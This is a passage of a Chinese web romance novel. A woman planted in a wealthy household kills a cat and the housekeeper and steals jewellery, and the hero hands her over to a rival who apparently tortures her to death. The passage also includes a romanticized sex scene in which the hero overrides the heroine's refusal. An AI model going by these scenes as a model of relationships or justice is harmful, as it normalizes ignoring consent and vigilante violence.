“裴啸哥,你说,霍时序这次会不会死啊?”她感觉自己的血,在慢慢变冷。
“不会的,最多就是脑震荡。”他需要找医生问一下情况,“好了别哭了,这是一场意外,无需自责,你乖乖的在这儿,我去找医生。”
霍时序的后脑缝了四十多针。
密密麻麻。
人推去了观察室,还在昏迷着。
医生对裴啸说,伤的不算重,就是伤口比较大,可能那块石头比较尖锐,等醒来看看再说。
他心里有了底。
可宋南伊不清楚情况。
人还处在高度紧张的状态下。
裴啸将她抱紧,轻抚着她的背,“好了,别难受了,我问过医生了,时序这次伤的不重,就是伤口比较大,已经缝完针,送到观察室了,醒过来就好了。”
宋南伊很自责。
如果不是她,霍时序不能受这么重的伤。
她感觉,欠他的越来越多。
一辈子也还不完。
“我没想到任泽秦会发疯,他向来儒雅绅士,今天……”
早知道这样,她不跟他去吃饭就好了。
“意外的事情,就不过多的去想,如果怎样怎样,南伊,没人怪你。”
宋南伊沉默了。
裴啸一直陪着她。
直到霍时序醒过来。
“嘶……”他的头好痛啊。
那个姓任的是想整死他,好继承他的老婆孩子吗?
“你醒了。”
霍时序望过去。
裴啸,宋南伊四只眼睛,正在直勾勾的看着他。
他挣扎着坐起来,靠在床头上,“还好,这次没傻,没失忆,也没有死。”
“南伊担心坏了。”裴啸说。
霍时序冲宋南伊伸出手。
宋南伊将小手递到了他的掌中,“头是不是还很疼?”
“一点小伤,没什么大不了的,倒是任泽秦,这次倒大霉了,我非得把他送进去不可。”
受点伤是小。
故意伤人,又畏罪逃走,那可不是小事。
裴啸同意,“这种人是该受点惩罚。”
“你的意思呢?”霍时序问宋南伊。
宋南伊不参加意见。
伤人本来就是不对的。
哪怕她能原谅任泽秦所有的过错,也没有用,她代表不了霍时序。
“你自己看着办,最多就是以后跟他们家不来往了。”其实也没什么好来往的了,“我会跟我爸妈打个招呼的。”
“这个姓任的心术不正,上次,在网上曝光的照片,就是他买通了狗仔给拍的,头条也是他搞的,这次我会把证据全部交上去,数罪并罚,让他好好吃点苦头。”
宋任两家,毕竟是几十年的交往。
用事实说话,省得解释来解释去的,弄不好最后,有理的变成了没理的。
法律就是最好的交代。
宋南伊也算是彻底明白了。
自己被任泽秦耍了。
亏她还一直觉得,这个人不错。
太虚伪了。
“既然你没事,我就先回公司了。”裴啸准备离开,似是又想起了什么,“哦对了,你现在XY集团和霍氏都一手抓,能忙得过来吗?需不需要我给你找个得力人?”
“暂时也不需要,慢慢上了轨道,我就能轻松一点。”
裴啸摇头,“看来润合,是指望不上你了。”
“润合有你就够了,记得年底给我分红,我得给我老婆买包。”霍时序笑着说。
裴啸走后。
宋南伊一直沉默着不说话。
霍时序知道她自责。
轻轻的将她拥进怀里,“没事的,一点小伤,我向来命大,死不了的,别难过,笑一个。”
“我不该跟他吃饭的。”她本意是想聊清楚的,她希望霍时序不要误会她,“我只是想借着这个机会,跟他说,我在跟你交往,把这件事情聊清楚,谁知道他突然就发疯了。”
“他和他的前妻,为什么离婚?这个你清楚吗?”
宋南伊听母亲讲过,“好像是说他前妻出轨了。”
“这是事实,还是伪造出来的事实?”一个男人想要重新交往新的对象,自然是得有一番对自己有利的说词,“我想事实未必是这样。”
“可能吧,我也不太清楚。”
霍时序叹息,“我今天一口饭没吃,还被打成这样,要一个亲亲,不过分吧?”
“不过分。”她在他脸上亲了一下。
霍时序不满意,指着自己的唇,“亲哪儿呢,一点诚意都没有,这儿。”
“这是病房,医生随时都会过来的。”
“过来怎么了,他管天管地,还管着别人两口子亲嘴了。”他摁着的后脑,将她的唇贴在自己的唇上,“不要有接吻羞耻症,我们光明正大的。”
……
霍时序出院后。
搬回了别墅,方便有人照顾。
汤叶自告奋勇,“我来照顾姐夫吧,我手脚很麻利的。”
宋南伊粗淡的扫了她一眼。
而后收回视线,看向了路姐,“路姐,做一些先生爱吃的小食上来,注意,要看清食材的属性,你懂的。”
“太太放心吧。”
汤叶在厨房里讨好路姐。
“教教我呗路姐,以后这活我会了,你就轻松了一半。”
路姐不怎么喜欢这个女人,冷冷的,“太太信任我,我自然没什么可说的,假手他人,我怎么能放心。”
“我又不是旁人,我是宋南伊的妹妹啊,都是自家人。”
路姐怎么也想不通这事。
宋南伊那气质,那身材,那样貌,真是万里挑一。
这个汤叶虽然穿的挺朴素,但是带着一股子风尘味,半点相像的地方也没有。
“太太可没说你是她妹妹,你也不要自己往脸上贴金了。”路姐将锅子放到炉灶上,“我们都是一个身份,那就是家里的佣人。”
“我才不是佣人,宋南伊能嫁豪门,我也可以啊。”
嫁不了霍时序这么有钱的。
次一点的,她也能接受。
弃娼从良,也就是一瞬间的事情,只要她不承认,谁知道她以前是卖的。
路姐冷笑。
赶她出去,“你还是去给先生打洗脚水吧,别在这儿碍事。”
第210章 你的精子,矜贵着呢
“哼。”
汤叶转身出了厨房,扭着十几年来养成习惯的腰肢,端了盆洗脚水,送进了卧室。
“姐夫,我端水来了,泡泡脚吧。”
平时,霍时序和宋南伊不回来住。
路姐都是将这间卧室锁着的。
好大的卧室呀。
起居室,衣帽间,浴室……,这一间房,比人家四五口人住的房子都大。
她什么时候,能过上这样的日子啊。
汤叶又开始要做梦。
“汤叶。”宋南伊叫醒她,“盆放下,人出去。”
汤叶哦了一声,巴巴地说,“姐姐,你在医院里照顾姐夫一定累坏了吧,我来帮你照顾吧,我不怕累的。”
宋南伊觉得这个汤叶有问题。
照顾病人的事情,哪能放心,交给这样的人。
“行了,你先下吧。”
“哦,知道了,姐姐。”
汤叶想入非非,想着自己即便是完不成顾南风交代的事情。
也可以踢走宋南伊,嫁给霍时序。
再不济,给霍时序当个小三也不错。
到时,她会有很多很多的钱,享受很多很多人的服侍。
她就飞上枝头变凤凰了。
离开前,她把目光落到了霍时序的脸上,然后视线慢慢下移,最后落到了隐私处。
看起来鼓鼓囊囊的。
性能力应该不错。
汤叶舔了舔干涩的嘴唇,喉咙滚烫。
宋南伊看了她一眼,这什么表情,“怎么还不走?”
“哦,那我出去了。”
汤叶离开后。
宋南伊问霍时序,“你有没有觉得,她有点问题?”
“什么问题?”他现在头还在疼,可能智商稍微的不在线,“我是说,哪方面的?”
“我感觉她像一个阴谋,但又不太聪明的样子,不会是谁派过来做卧底的吧?”
宋南伊摸着下巴。
谁会这么无聊派过来一个卧底呢?
这个家里也没啥可卧的。
“霍时序,你说,她有没有可能,是想来睡你的?”
就像蓝烟那种情况的。
得到他的精子,想母凭子贵。
霍时序一口唾沫,差点把自己呛死,“你当我是什么人了,她想睡我,就得让她睡?我是个人,又不是个牲口。”
“那你可得保护好自己,你的精子……矜贵着呢。”
她用眼神,指了指了他那不可描述的地方。
霍时序将她纤腰扣住,往怀里摁,“怎么别人觉得矜贵的东西,到你这儿,就不稀罕呢?我们以后不避了,行吗?怀个二胎,三胎,四胎什么的。”
“你当我是母猪啊。”她拒绝,“霍时序,你要真这样想,那你婚也别想求了,我是不可能嫁给一个以生孩子为目的男人的。”
“我是开玩笑的,你想生几个就生几个,我随意。”他嘻嘻哈哈的讨好着。
宋南伊总算肯给他一个好脸,“我说真的,汤叶这个人,让我有一种不踏实的感觉,你看她走路,那腰扭的……特别像风月场所的那些女人。”
宋南伊这么一提醒。
霍时序倒也觉得,有些蹊跷。
不由的想到了一个人。
能接触到那种场所女人的,非顾南风莫属。
难不成,这女的是他派来的?
他是不是还惦记着,从爷爷那儿拿走的那个盒子。
盒子确实装着遗嘱。
上面也提了顾南风,老爷子顾念他是霍家的骨血,给他留了一间小公司。
霍时序现在还不想给。
有意思。
“这很好查,一个电话便知。”
霍时序拿出手机,拨了个号码,那头五分钟后回拨了回来。
“霍先生,这个汤叶艺名小柳柳,在梦人间的坐台小姐,那梦人间有一个股东就是顾南风,这小柳柳啊有日子没回梦人间坐台了,有人说是她被顾南风包养了,我看呢,未必,应该是接了个什么大单子。”
霍时序随即明白,“知道了。”
手机声音是外放的。
宋南伊也听到了。
“还真是坐台小姐,还跟顾南风有关系……那她……一个坐台小姐来这儿是……勾引你的?”
霍时序有被气笑,“我是有多不值钱,能看上那种女人吗?”
宋南伊就搞不懂了。
一个坐台小姐,搞的跟特工似的。
难不成,真是顾南风雇佣来搞事的?
“你说她是不是……”
“就是顾南风搞的。”既然知道了底牌,那就好防备了,“看来,她不是万同齐的某个女儿,只是在为了钱在做事。”
宋南伊点头。
她有一点不解,顾南风雇这么风尘女,应该不是睡霍时序这么简单,那不会是……
不会是来家里偷东西的吧?
“她想偷什么?”
“爷爷放遗嘱的盒子。”这点他是完全放心,“那盒子在公司的保险柜里,家里可偷不到,不过……我倒可以弄一个假的盒子,让他空欢喜一场。”
“那多没意思,就让她找呗,找不到才会露出马脚啊。”
霍时序笑着,捏着捏宋南伊的鼻头,“听你的。”
路姐送上来了小食。
霍时序没什么胃口,一下午时间,都在电话聊工作上的事情。
小食精致,倒是合了宋南伊的口味。
她一边看着杂志,一边喝咖啡,吃小点心,惬意的不得了。
正在扫院子的汤叶,嫉妒的不要不要的。
都是女人,都是差不多的年纪。
凭什么有人可以如此的逍遥快活。
她就得拉皮条,卖肉求生存。
“不公平,真不公平。”打地的笤帚,重重地戳着地,发泄不满。
“汤叶,你在嘟嘟囔囔地说什么?”路姐走过来,训斥她,“这都扫了半天了,院子里的落叶,还没有扫完?”
“路姐,我以后可是当富太太的命,不是你随便骂来骂去的。”汤叶瞪着眼说。
路姐觉得她有神经病。
“你什么时候当了富太太,你再来骂我也成,现在赶紧的把院子扫干净了,然后再去把那些流浪猫喂了,别老是异想天开的。”
“哼。”
……
入夜。
空气沉淀。
深冬了,风裹着寒意,到处都是呜咽的呼啸声。
室内温暖。
宋南伊洗了澡,坐在梳妆台前,往脸下摸各种各样的护肤品。
她是天生的美有胚子。
皮肤细腻,骨肉相衬,浓纤适度。
即便生过孩子,那肚皮上也没有留下一丝半毫的痕迹,依然紧致。
霍时序喜欢这样淡淡的看着她。
如果前世不是因为母亲病了,做出那些荒唐的事情,在那一世,他们应该孩子都好几个了。
以后再也不会做对不起她的事情了。
永远不会了。
他去洗澡的功夫,宋南伊已经睡下了。
他心疼她连日来的照顾,没干什么坏事,搂着她一起入眠。
深夜。
宋南伊口干,喃了句,“霍时序,要喝水。”
霍时序打开小夜灯。
下床,为她倒水。
大概是渴坏了,宋南伊在睡梦中,喝了一大杯水,而后就窝在霍时序的怀里继续睡。
女人的体香,一阵阵的往他鼻腔里钻。
霍时序睡不着了。
指尖轻轻的描绘着她的五官。
她真的好美,像是几千年才有的美女,他的眼光可真好,这样的女人,竟然让他追到手了。
不。
他们还没有复婚。
他得加把劲了。
宋南伊不适的翻了个身,“别动霍时序,把你的东西拿开,咯到我了。”
第211章 变态加不要脸加神经病
霍时序看了看小腹。
不行,实在是忍不了了。
他摁住宋南伊乱动的身子,动情的吻了起来。
这一折腾,没两个小时下不来。
宋南伊感觉自己像做了个过山车,那感觉起起伏伏的,但没忘了提醒他,“套……”
“宋南伊,我们再生一个吧,像小核桃一样可爱聪明的,男孩女孩都可以,行吗?”
他内心是有一些卑劣在的。
他想用孩子栓住她。
栓她一辈子。
“不要,霍时序……”
“南伊……”他吻住她的唇,将她的拒绝如数的吞下,“……你答应了,对吗?”
她指尖紧紧的抓着他的肩头。
拒绝的话没再说,由着他……
……
清晨。
一声尖叫,将整个别墅惊醒。
刚要准备去公司的男人,三步并做两步,跑上了二楼。
“南伊,怎么了?”
宋南伊吓的抓着被子,整个人都在哆嗦,“你看,那是什么?”
东西血淋淋的,就蜷在他刚刚睡过的位置上。
仔细看来。
是一只小猫。
准确的说,是一只身上被剥了皮的小猫。
像是活着的时候,被剥的,表情痛苦又狰狞。
“谁干的?”霍时序扔了条毯子,将死掉的小猫盖住。
竟然在他眼皮底下做这种事情。
简直是反了天了。
“路姐。”霍时序吼人。
路姐小跑过来,“先生,怎么了?”
“谁把剥了皮的小猫,放到床上的?是你吗?”霍时序的脸色,如沉墨一般。
路姐忌惮摇头,“不是我,不是我干的。”
她轻轻的掀开毯子看过去。
吓的闭眼,“啊……”
这是一只头上的皮,还没来得及剥下皮来的小猫,小三花。
她不由的想到了,那只天天来觅食的……花花。
“这好像是花花,怎么……”
“给我查,查出来给我碎尸万段。”霍时序是真的怒了,“路姐,赶紧拿出去处理了。”
他脱下外套。
将宋南伊搂进怀里,轻声安抚着,“别怕别怕。”
“谁杀了花花?”宋南伊最喜欢这只小三花,它那么亲人,“霍时序,谁杀了花花,它只是一只小猫,为什么要杀了它,还要剥它的皮?为什么这么残忍,为什么?”
“可能是心理变态吧。”他也找不出原因。
宋南伊摇头,变态会虐杀,但不会放到她床上。
是恶作剧,还是……
“让路姐去查吧,她负责整个家里的事务,对每个下人,她都是很了解,还有……别让妈知道,她身子本就不好,看到这种东西,会吓到的。”
霍时序心疼的吻了吻她的额头。
自己都吓坏了,还要考虑家里的人。
“要不要,再睡一会儿?”
宋南伊浅浅摇头,“不了,今天还有工作呢。”
“好。”
……
凶手就在这个家里。
第一个首先怀疑的人,就是后来到家里来的汤叶。
面对路姐的质问。
她一脸无辜,“我怎么会杀死一只小猫呀,我连踩死一只蚂蚁都不敢,你们别冤枉人。”
“以前我们院里,从来没有死过小猫,为什么你来就突然就死了,还胆大的扔到了太太的床上,不是你是谁?”
路姐认准了汤叶。
家里就这么几个下人。
她掰着手指头都能数过来,都是工作三年以上的老人了,就汤叶嫌疑最大。
“路姐,你说话要讲证据,你说是我杀死的小猫,你拿出证据来啊?你红口白牙,就这样乱讲,小心我告你诽谤。”
证据,路姐没有。
那个喂小猫咪角落里的监控,已经坏了很久了。
前几天找了师傅来修,但遇上下雨,就一直搁置。
想必是钻了这个空子。
“反正,现在先生生气了,你就是最大的嫌疑人,我这就告诉先生去。”
路姐转身就要走。
汤叶抬就拽住了她的衣角,“路姐,你这又是何必呢?你要知道,我可是宋南伊的亲妹妹,你觉得她信我,还是信你?”
“你个鬼球的妹妹,太太那么好的人,怎么会有你这种妹妹,你放开我。”
路姐要离开。
汤就不让。
“路姐,一只小猫而已,死了又怎样?你不觉得人生中要有很多乐趣吗?小猫死了,正好去轮回了,下辈子可以投胎成人,多好的事情。”
她笑的扭曲。
这更印证了路姐的猜测。
她杀死小猫事小。
她丢到宋南伊的床上,她是要付出代价的。
“你简直就是个变态。”
“路姐,我劝你不要多管闲事,以后这个家,极有可能是我的,等我变成这个家的女主人,你不会有好果子吃的。”
汤叶抱怀,好像自己把自己都说信了。
她没进过上流圈子。
但她听说过一些。
这个圈子里的男人都不安稳。
再漂亮的老婆,都抵不过一个新鲜感的坏女人。
变心是早晚的事情。
“路姐,对于未来的霍太太,你最好保持着敬畏之心,否则……”
话音未落,路姐抬手就甩了她一个大逼兜。
见不要脸的。
没见过变态加不要脸加神经病的。
“你脑子有病就去治,不要再在这儿痴心妄想了,汤叶,我会告诉先生和太太,你最近的表现,我想他一定会把你赶出霍家的。”
路姐基本确定。
杀死小猫剥皮这事,就是汤叶干的。
她怕这个女人,以后还会干更匪夷所思的事情。
她准备先上报。
汤叶不让路姐走,死死地拽住她,“路姐,你要敢去告密,我就杀了你。”
“你吓唬谁呢?你要杀了我,你也得死。”路姐推开她,转身就往屋里走。
汤叶脸抽搐了两下,捡起园丁放在一旁的镐头,冲着路姐的后脑就砸了上去。
血,从脑袋涌出。
路姐在震惊和无法反应中……人缓缓的躺了下去。
汤叶面无表情。
似乎习以为常。
“老东西,怎么说你也不听,以为我好惹的。”
汤叶拖起路姐的腿,往别墅的后院……
……
杀小猫的凶手没找到。
路姐也不知道忙什么去了。
邓雪打来电话,问宋南伊什么时候可以去公司。
她便决定先去上班。
“你去公司上班吧,这事晚上回来再说。”
“走吧,正好顺路,我送你。”
一整天,宋南伊的眼皮都在跳。
别墅里有一半的监控都坏掉了,不知道是先前就坏的,还是后人为损坏的。
她电话给了监控的厂商,让他们尽量今天都修好。
别墅里。
路姐不在了,没人管汤叶。
她进了霍时序的书房,拿起霍时序桌面上的烟盒,从中间掏出一根烟,递到唇上,然后再用他的纯金火机点着。
“妈的,有钱人,火机都是纯金的。”
顺手,她将火机装进了自己的口袋。
滋滋的吸了一口,指尖夹着烟,翻箱倒柜的找顾南风要的东西。
“到底藏哪儿去了?”
“顾南风说的那个盒子,里面到底是什么值钱的玩意,肯让他用二百万来买。”
“怎么没有啊?”
第212章 以前她伺候男人,今天让男人伺候她
汤叶啐了口脏话。
狠狠地吸了口,指尖的烟卷。
东西没找到,她便坐到了霍时序的椅子上。
双腿交叠,往霍时序的书桌上一搭,随意地拉开了他的抽屉。
一个粉色的小盒子。
她好奇里面的东西,打开,惊呼,“天哪,我还是第一次见如此大的钻石。”
她将戒指拿下来,往自己的手指上套。
指环不是她的尺寸,她套得费劲。
“这玩意得值老些钱了,我把这个卖了,不得有个几百万,那我还帮顾南风找什么东西啊。”
汤叶把钻戒,装进自己的口袋里。
继续翻抽屉。
一套红宝石的首饰,美的亮眼。
“哇……好漂亮。”
她将这套首饰,戴在自己的脖子上,对着镜子连连惊呼。
“这也太好看了吧,简直就是为我量身订制,真的太美了,我爱死了。”
怪不得别人都说,珠宝是女人最大的养颜神器,她真的觉得,自己的气色都好看了起来。
口袋装不过来。
她索性拿过自己的包包,将书房里所有值钱的东西,全部打包带走。
出门打车,直奔典当行。
不出意外,霍时序的那些首饰,钻戒,还有几个看起来不错的玉镯,都被她卖了个好价钱。
看着银行卡里的数字。
她哪里还想着,替顾南风偷什么东西啊。
她准备拿着这些钱,去逍遥快活去。
以前,她是伺候男人的,今天,她要让男人伺候。
.……
蓝旗醒来,没有见到路姐。
平时这个时间,路姐已经在伺候她吃药了。
“路姐。”
“路姐你在吗?”
有下人听到夫人在喊,忙跑了过来,“夫人。”
“小翠,路姐呢?是请假了吗?”
小翠一直在忙自己的事情,并没有看到路姐,“没听说路姐请假,我帮您去找找她去。”
“去吧。”
小翠是家里最年轻的。
她去了路姐平时干活的地方。
没人。
又去找了园丁大叔,他也说没看到。
她猜着,会不会是去喂那些小流浪去了。
路姐最喜欢小动物,那些小流浪跟她可亲了。
去了后院。
当小翠看到那一滩干涸的血迹时,她的血都快凝固了。
不会又有人虐杀小猫吧?
顺着血迹的方向,她慢慢深入,往里走。
就看到了被随意掩埋的……人。
“啊……”
尖叫划破别墅的空气。
钻进每个人的耳朵里。
警察来了,从后院将路姐挖了出来。
人已经没气,眼睛却没有闭上。
死状看得令人愤怒。
蓝旗给霍时序打了电话。
他回来时发现,自己的书房里的很多值钱东西,也不见了。
警察取证后,先行离开。
霍时序打开电脑,想看看家里的监控。
所有的监控都是漆黑一片,下人告诉他,监控的电闸不知道什么时候,被拔了。
他冷笑。
拿出手机来,调出了书房里按的针孔摄像头的监控画面。
画面清晰。
汤叶的所作所为,全部完整地记录了下来。
“还真是她。”
很快有拍卖行,给霍时序打来了电话。
“霍总,今天有人拿了一些珠宝来典当,我看是属于霍家的东西,就先行留下来,您要不要过来一趟。”
“把东西和证据都给我留好,我马上过去。”
那头应下,“好的,等您。”
放下手机。
他抽了根烟,递到唇上,找火机时,发现火机也不见了。
气的摔烟。
路姐是宋南伊最信任的人。
如今她被害。
霍时序不知道该怎样跟宋南伊讲,才会让她的伤痛减少一些。
……
宋南伊一天都不在状态。
邓雪给她冲了杯咖啡,递到面前,“老板,今天裴总打电话过来说,有一个项目想要跟我们合作,问你的时间,您看,我帮您约在什么时候合适?”
“什么项目?”
邓雪拿出平板来,看自己的记录,“是珠宝连锁店的项目,裴总想跟咱们搞一个联名。”
“这个啊……”宋南伊揉了揉眉心,“……这个你去谈吧,一直以来,这一块就是你负责的,利润和股权分配上,不要斤斤计较。”
邓雪明白宋南伊的意思,“好的,老板。”
她抬腕看了眼时间。
“老板,要不,我现在就去润合吧,时间上还来得及,能一次敲定下来最好,也不会影响咱们后面的工作。”
宋南伊点头。
她真的特别喜欢邓雪。
她想,未来YY珠宝副总的位子,非她莫属。
“邓雪,如果没有你的话,我还真的会力不从心。”
邓雪微笑,“老板,你对我这么器重,我是不会离开您的,除非……除非哪天,我老了,不中用了。”
宋南伊笑了。
“去忙吧。”
“那我先去了老板。”
邓雪的第一份工作就是来宋南伊身边。
那时,她只一个小小的前台。
而那时的YY珠宝,也没有现在的规模。
宋南伊是懂得发掘人才的。
她很庆幸,能遇到如此的伯乐。
让她在YY珠宝的每一天,都过得很充实。
……
宋南伊收拾了一下,准备下班。
今天下班得早。
她以为霍时序不会来接她。
看到他站在车边,冲她招手,心口还是暖暖的。
“今天下班这么早吗?”她说。
霍时序笑着,张开双臂,“老婆,来抱抱。”
她笑。
小跑着扑进他的怀里。
他拥着她,心里却不知道,如何将路姐的事情,跟她讲。
“想我了没?”
“才没有。”宋南伊仰着小脸,目光温柔。
这个男人经历了这么多的事情。
还是一如既往的好看。
好看的男人,总给人一种很花心的感觉。
前世结婚的那三年,她有很强的不安全感,有一段时间一度得了疑心病。
他哪天回到家,身上要有点香水味什么的。
她就会对他疯狂地盘问。
她会在他的认错和委曲求全中,求得短暂的心灵慰藉。
那时的她,心里上,病得很厉害。
现在已然没了这种心境。
关注地点消失后,她把重心更多的是放到自己和家人身上。
很快乐。
也很幸福。
“路姐今天把杀死小猫的凶手找到了吗?”宋南伊问。
霍时序眼底有一丝为难,“南伊,家里出了点事情,路姐她……”
“她没有找到杀小猫的凶手吗?”宋南伊还是有一点失望的,“这种事情,应该是要有证据的,不能乱说,路姐做人谨慎,不急,给她时间。”
“南伊。”他不得不把真相托出,“路姐她……被害了。”
宋南伊愣住。
被害?
什么意思?
她不愿意往糟糕的地方去想,但霍时序的表情过于沉重,她的有一种不祥的预感,“什么意思?你是说……路姐她……死了吗?”
第213章 尸体
这个噩耗。
宋南伊久久未能消化。
眼眶虽然泛红,却强忍着没有掉泪。
“凶手是谁?”
“家里的监控全部坏掉了,警察还在调查阶段。”他知道宋南伊心里难受,轻轻的抱着她,“不过,以我的猜测,这个人八成是汤叶,路姐死后,她便偷了我书房里的珠宝,离开了。”
“她杀人不算,还偷东西?”这种人就应该斩首。
“好了,别难受了。”他轻抚着她的产砂发,试图安抚她,“你放心,我会再找一个比路姐能力还强的管家。”
“霍时序,你知道的,没人能替代路姐在我心里的位置。”
在她与霍时序分分合合的那些年里。
路姐始终坚定的站在她的身边。
她带给自己的,不仅是服侍和关照,更多的是精神上的一种抚慰。
“霍时序,路姐的家人,多给一些抚恤金吧。”
“好,都听你的。”
……
私底下。
霍时序让江淮把汤叶揪了出来。
人,五花大绑。
被江淮一脚踹在了地上。
对一个妓女最好的凌迟,可不是让几个男人上了。
而是把她卡里的钱,全部取出来,当着她的面,烧光。
“不要,不要烧我的钱,不要……”
汤叶挣扎着。
看着火光里,一张张的钞票,被烧成了灰烬,眼睛里渗出血来。
江淮抓着她的头发,将她拖到火盆前,“汤叶,你好看看你卖肉换来的钱,都没有了,开心吗?你后半生的养老钱,你快乐的钱,全都被烧掉了,高不高兴?这就是杀人和偷东西的代价。”
“霍时序!你还我的钱,还我的钱……”
汤叶瞪向坐在面前的男人。
啐了口唾沫。
“你凭什么烧我的钱?这是我的,是我辛苦赚来的。”
“偷别人家的东西,卖了换钱,可不是辛苦赚来的。”霍时序微微俯身,居高临下,像把控世界的神,“这么说吧汤叶,你所有的钱,都不是清白的,该烧。”
“我把钱还你,你别烧我的钱了行吗,行吗霍时序,我求你了。”
汤叶泪流满面的,给霍时序磕头。
他却没有半点怜悯。
语调越发的冷冽,“钱你可以还,人命怎么还?”
“人,人命?”那监牢她都关掉了,这么快就查到她头上了,“什么人命,我没有害过人啊。”
“你虐杀小猫不算,还扔到床上,吓的我老婆心悸,这都不算,胆大到把路姐害死了,汤叶,路姐是我们的家人,你这么做,简直是在自寻死路,我当然……也会给你选一条很好的死路。”
霍时序起身。
高大的身子挡住了头顶的灯光。
他对江淮吩咐,“把她绑好,我们去见一个人。”
“是。”
……
车子一路颠簸。
开到了一处山坡之上。
顾南风扔掉手头的烟,看向下车的霍时序。
“你约我过来,不会是想把爷爷遗嘱给我吧?霍时序,你总算是要做回人了。”
顾南风语调中,有一丝的惊喜和得意。
霍时序轻笑。
让江淮把汤叶带了过来。
“你都找人来偷了,还会在意,我会不会将遗嘱给你吗?”他将汤叶头上的头套摘掉。
顾南风双眸一骤,“你……”
“顾南风,你救救我,他要杀了我……”汤叶撕喊,眸底是看不透的惊恐。
顾南风知道事情败露。
抬腿就给了汤叶一脚,“你个蠢蛋,干点什么也干不好。”
“她呀,不止没干好你吩咐的事情,还将你供了出来,说你不仅想偷爷爷留下来的遗嘱,还要杀了我?顾南风,既然你想杀了我,那我就提前把你杀了,你说好不好?”
顾南风凝眉。
他不否认他有这样的想法。
但他谁也没告诉过。
杀人这事,不是得静悄悄的进行吗?
说出来,等着被反杀吗?
他更来气了,一脚踢向了汤叶的头,“妈的,谁告诉你,我要杀他的。”
汤叶冤枉。
满脸满口都是血的解释,“我没有跟他这样讲,我没有。”
“你种蠢货,什么也干不好,去死吧。”
顾南风想当场了结了汤叶。
被江淮拉开。
霍时序抬了抬手指,江淮把汤叶拖到一旁。
“顾南风,爷爷临终前,跟我讲,如果你肯好好学,不老搞那些乱七八糟,不要老想着跟我作对,搞继承霍氏那一套,是有一些东西要给你的,但我看你现在……”
霍时序的视线从上到下的,将顾南风逡巡了一遍。
他从来都是令人失望的。
毫无例外。
“……不仅没变好,还要杀我……想拿爷爷的遗嘱,你还是死了这份心吧。”
“你……”顾南风气恼,“既然爷爷有留给我东西,你凭什么不给我,霍时序,你这样做,爷爷在天上能安心吗?”
“你都要杀我了,我还给你财产?顾南风,我可没那么善良。”
霍时序看向江淮,“走吧江特助,人,我们已经送到了,仁至义尽了。”
“霍时序,你……”顾南风噎。
霍时序离开。
顾南风将气都撒在了汤叶身上。
至于,顾南风是怎么折磨的汤叶,没人知道。
只知道,她的尸体在某个郊外的野草堆里发现时,基本看不出人的样子。
……
路姐离开后。
家里一直没有可用的人。
霍时序找到了陈伯,“陈伯,既然爷爷离开,我请你到我那边去,帮忙照顾一下,我母亲这人你是知道的,很好相处,南伊也是个软脾气,你不会受委屈……”
陈伯自然不会推辞。
就是他年纪大了。
很多的事情力不从心。
“孙少爷,我伺候了老太爷一辈子,本想着他故去后,我就回老家了,既然你这边需要我,我还有什么可讲的。”
“谢谢你陈伯。”
家里有了陈伯,一切井井有条。
但宋南伊还是高兴不起来。
有一天,她跟霍时序说,“路姐有一个妹妹,为人朴实能干,我想让她过来,你觉得怎么样?陈伯毕竟是男的,服侍妈不太方便……”
她知道,她和霍时序没有复婚。
提这些要求,可能有些不合适。
“当然,我现在还不是这个家的女主人,所以问你的意见,如果你不肯,就当我没说。”
他将她拥紧,落座在自己的大腿上,“你一直就是这个家的女主人,只要你欢喜,这个家里所有的事情,你说了都算。”
“那要不要问过妈的意见?”
“不用,你说了算。”他的大手摩挲着她的小手,“南伊,我准备好求婚了,你能不能给我透个底,你喜欢什么样的求婚仪式,我想一次成功。”
“前世结婚的时候,你也没问过我,不也求婚成功了?”
“现在不一样了,太想拥有你,我心里没底。”他将脸贴在她的锁骨上,“南伊,越珍惜,越害怕,说的就是我。”
第214章 她拒绝了他的求婚
宋南伊笑他矫情。
其实,她也不是多么希望再被求一次婚。
她想要的,从来不是浮于表面的形式。
从这次后,霍时序再也没提过求婚的事情。
他很忙。
宋南伊也很忙。
听说任泽秦被抓了,听说陆为谦出了车祸。
接到陆蔓的电话,宋南伊是错愕的。
“陆蔓姐,我真的也不联系不上裴吟,你要不信,我可以把我和裴吟聊天的截图给你看,这段时间我给她发的信息,都石沉大海,实在是抱歉。”
陆蔓深叹。
裴吟离开陆家后。
陆之白的病反倒恶化了。
天天吵着嚷着让陆为谦找裴吟回来,给他换肾。
陆为谦已经很久不来医院了。
“南伊,我也不是为难你,裴吟离开后,为谦他也是一蹶不振,这一转眼就小半年的时间,律所他也不去了,家也不回了,也开始酗酒了,我……”
陆曼的话里是沉痛和无奈。
偏偏这时,陆为谦又出了车祸。
撞死了还好,省得看他那副颓废的样子。
人没死,断了胳膊,断了腿,还伤了脑子,一直在昏迷。
陆蔓既来气又心疼。
“……南伊,如果你哪一天联系上了裴吟,让她回来看看为谦,等为谦醒了,我也会劝为谦跟裴吟离婚的,是我陆家对不起她,让她受尽了委屈。”
“好的,陆蔓姐,我会的。”
陆家就两个正常人。
一个陆蔓,一个陆为谦。
偏偏两个正常人,干不过陆之白一个神经病。
宋南伊也是担心裴吟的,她这一走,了无音讯。
她给裴啸打过电话,不知道他是真不知道裴吟的动向,还是刻意地隐瞒。
没有半点有用的信息。
宋南伊不死心,再次拨通了裴吟的手机。
依然只是通,却无人接听。
而此时,正坐在江边的女人,手机无声,屏幕亮了又暗,暗了又亮。
她怀孕六个月了。
前几天,她才去医院照了B超,医生说是一个特别健康的小姑娘,她真的开心坏了,像中了彩票一样的。
她止前,并没有回江城的打算。
等生下宝宝,她会回去的。
她要好好的享受自己的孕期,旅游,拍照,这是属于她和宝宝独特的纪念。
“宝宝,你是上天带给妈妈的礼物,妈妈很爱你,会把你养的很健康,很漂亮,会把你教的很好,妈妈以后会是你的朋友,是知己,是帮你解决一切烦恼的人。”
“妈妈很喜欢你哦,以后也一定会很爱很爱你,你不需要很乖,但你要知道自己想要什么,要做一个很明媚的女孩子,要善良,好不好?”
深冬的江边。
午后的风,终也凉了。
裴吟起身,把厚厚的羽绒服穿好,踩着平底靴,向不远处的静谧山庄走去……
……
晚上。
霍时序包了一间音乐餐厅。
米其林三星标准。
无论是餐食,又或是酒水都是上等的。
宋南伊今天穿了一件中式的旗袍,羊毛绒的披肩,耳朵上是红白相间的宝石耳环。
高贵,优雅。
像民国电影里走出来的军阀太太。
漂亮又有杀伤力。
曲子悠扬。
气氛有一些些的浪漫。
“怎么突然约到这儿来吃饭了?”宋南伊问。
霍时序帮她拉开椅子,“有点小事要请你帮忙。”
宋南伊错愕。
